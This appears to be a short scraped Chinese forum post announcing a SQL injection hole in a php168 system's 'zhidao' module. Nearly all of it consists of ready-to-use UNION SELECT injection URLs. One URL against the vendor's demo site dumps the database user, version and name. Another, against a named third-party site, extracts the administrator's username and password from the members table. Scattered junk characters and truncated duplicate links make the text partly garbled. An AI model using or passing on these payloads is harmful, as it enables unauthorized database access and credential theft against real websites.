php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
% @' {, Z6 n' ?8 M. x6 b" @$ @                                                         
                                       

http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
                                                                  
: V+ C+ `( x: ]. G$ H                                                        
# m" _% c5 x- S$ Rhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

$ A1 P$ T! Z+ t1 X; R5 u

+ o6 P0 {5 a- q                                                            
, v5 h) {* Y9 P: P
; |, a9 n9 P) Qhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
% `7 M1 y0 y" C7 Q' T
; A8 N1 q" C: t
7 [0 x2 b2 X; F5 N5 x% [" k% P7 Z
                                                                    
+ M( |  F6 {* H- t6 {8 I